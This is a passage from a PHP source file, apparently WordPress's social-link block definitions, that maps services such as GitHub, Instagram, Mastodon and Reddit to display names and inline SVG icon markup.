'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>',
),
'google' => array(
'name' => _x( 'Google', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>',
),
'github' => array(
'name' => _x( 'GitHub', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>',
),
'gravatar' => array(
'name' => _x( 'Gravatar', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" /></svg>',
),
'instagram' => array(
'name' => _x( 'Instagram', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>',
),
'lastfm' => array(
'name' => _x( 'Last.fm', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>',
),
'linkedin' => array(
'name' => _x( 'LinkedIn', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>',
),
'mail' => array(
'name' => _x( 'Mail', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19,5H5c-1.1,0-2,.9-2,2v10c0,1.1.9,2,2,2h14c1.1,0,2-.9,2-2V7c0-1.1-.9-2-2-2zm.5,12c0,.3-.2.5-.5.5H5c-.3,0-.5-.2-.5-.5V9.8l7.5,5.6,7.5-5.6V17zm0-9.1L12,13.6,4.5,7.9V7c0-.3.2-.5.5-.5h14c.3,0,.5.2.5.5v.9z"></path></svg>',
),
'mastodon' => array(
'name' => _x( 'Mastodon', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>',
),
'meetup' => array(
'name' => _x( 'Meetup', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>',
),
'medium' => array(
'name' => _x( 'Medium', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.2,12c0,3-2.4,5.4-5.3,5.4S2.6,15,2.6,12s2.4-5.4,5.3-5.4S13.2,9,13.2,12 M19.1,12c0,2.8-1.2,5-2.7,5s-2.7-2.3-2.7-5s1.2-5,2.7-5C17.9,7,19.1,9.2,19.1,12 M21.4,12c0,2.5-0.4,4.5-0.9,4.5c-0.5,0-0.9-2-0.9-4.5s0.4-4.5,0.9-4.5C21,7.5,21.4,9.5,21.4,12"></path></svg>',
),
'patreon' => array(
'name' => _x( 'Patreon', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" /></svg>',
),
'pinterest' => array(
'name' => _x( 'Pinterest', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>',
),
'pocket' => array(
'name' => _x( 'Pocket', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>',
),
'reddit' => array(
'name' => _x( 'Reddit', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M5.27 9.221A2.775 2.775 0 0 0 2.498 11.993a2.785 2.785 0 0 0 1.6 2.511 5.337 5.337 0 0 0 2.374 4.11 9.386 9.386 0 0 0 5.539 1.7 9.386 9.386 0 0 0 5.541-1.7 5.331 5.331 0 0 0 2.372-4.114 2.787 2.787 0 0 0 1.583-2.5 2.775 2.775 0 0 0-2.772-2.772 2.742 2.742 0 0 0-1.688.574 9.482 9.482 0 0 0-4.637-1.348v-.008a2.349 2.349 0 0 1 2.011-2.316 1.97 1.97 0 0 0 1.926 1.521 1.98 1.98 0 0 0 1.978-1.978 1.98 1.98 0 0 0-1.978-1.978 1.985 1.985 0 0 0-1.938 1.578 3.183 3.183 0 0 0-2.849 3.172v.011a9.463 9.463 0 0 0-4.59 1.35 2.741 2.741 0 0 0-1.688-.574Zm6.736 9.1a3.162 3.162 0 0 1-2.921-1.944.215.215 0 0 1 .014-.2.219.219 0 0 1 .168-.106 27.327 27.327 0 0 1 2.74-.133 27.357 27.357 0 0 1 2.74.133.219.219 0 0 1 .168.106.215.215 0 0 1 .014.2 3.158 3.158 0 0 1-2.921 1.944Zm3.743-3.157a1.265 1.265 0 0 1-1.4-1.371 1.954 1.954 0 0 1 .482-1.442 1.15 1.15 0 0 1 .842-.379 1.7 1.7 0 0 1 1.49 1.777 1.323 1.323 0 0 1-.325 1.015 1.476 1.476 0 0 1-1.089.4Zm-7.485 0a1.476 1.476 0 0 1-1.086-.4 1.323 1.323 0 0 1-.325-1.016 1.7 1.7 0 0 1 1.49-1.777 1.151 1.151 0 0 1 .843.379 1.951 1.951 0 0 1 .481 1.441 1.276 1.276 0 0 1-1.403 1.373Z"></path></svg>',
),
'share' => array(
'name' => _x( 'Share Icon', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>',
),
'skype' => array(
'name' => _x( 'Skype', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>',
),
'snapchat' => array(
'name' => _x( 'Snapchat', 'social link block variation name' ),
